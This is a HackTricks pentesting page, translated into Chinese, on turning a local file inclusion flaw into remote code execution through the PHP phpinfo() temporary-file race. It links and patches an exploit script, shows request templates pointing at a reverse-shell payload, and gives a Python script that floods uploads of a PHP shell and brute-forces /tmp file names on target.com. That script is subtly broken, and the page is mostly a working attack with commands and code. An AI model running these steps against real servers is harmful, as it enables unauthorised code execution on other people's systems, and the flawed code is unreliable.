hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

56 lines
2.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../../banners/hacktricks-training.md}}
要利用此漏洞,您需要:**一个 LFI 漏洞,一个显示 phpinfo() 的页面“file_uploads = on”并且服务器必须能够在“/tmp”目录中写入。**
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
**教程 HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
您需要修复漏洞(将 **=>** 更改为 **=>**)。为此,您可以执行:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```
您还需要更改利用的**payload**例如php-rev-shell**REQ1**这应该指向phpinfo页面并包含填充_REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_),以及**LFIREQ**这应该指向LFI漏洞_LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ 检查利用空字符时的双“%”)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### 理论
如果在PHP中允许上传文件并且您尝试上传文件则这些文件会存储在临时目录中直到服务器处理完请求然后这些临时文件会被删除。
然后如果您在Web服务器中发现了LFI漏洞您可以尝试猜测创建的临时文件的名称并在文件被删除之前通过访问临时文件来利用RCE。
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
在**linux**中,文件的名称通常是**随机的**,位于**/tmp**。由于名称是随机的,因此需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”中**变量$\_FILES**的值来完成。
**phpinfo()**
**PHP**使用**4096B**的缓冲区,当它**满**时,它会**发送给客户端**。然后客户端可以**发送** **大量大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**其中包含临时文件的名称并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
**尝试暴力破解名称的Python脚本如果长度=6**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
{{#include ../../banners/hacktricks-training.md}}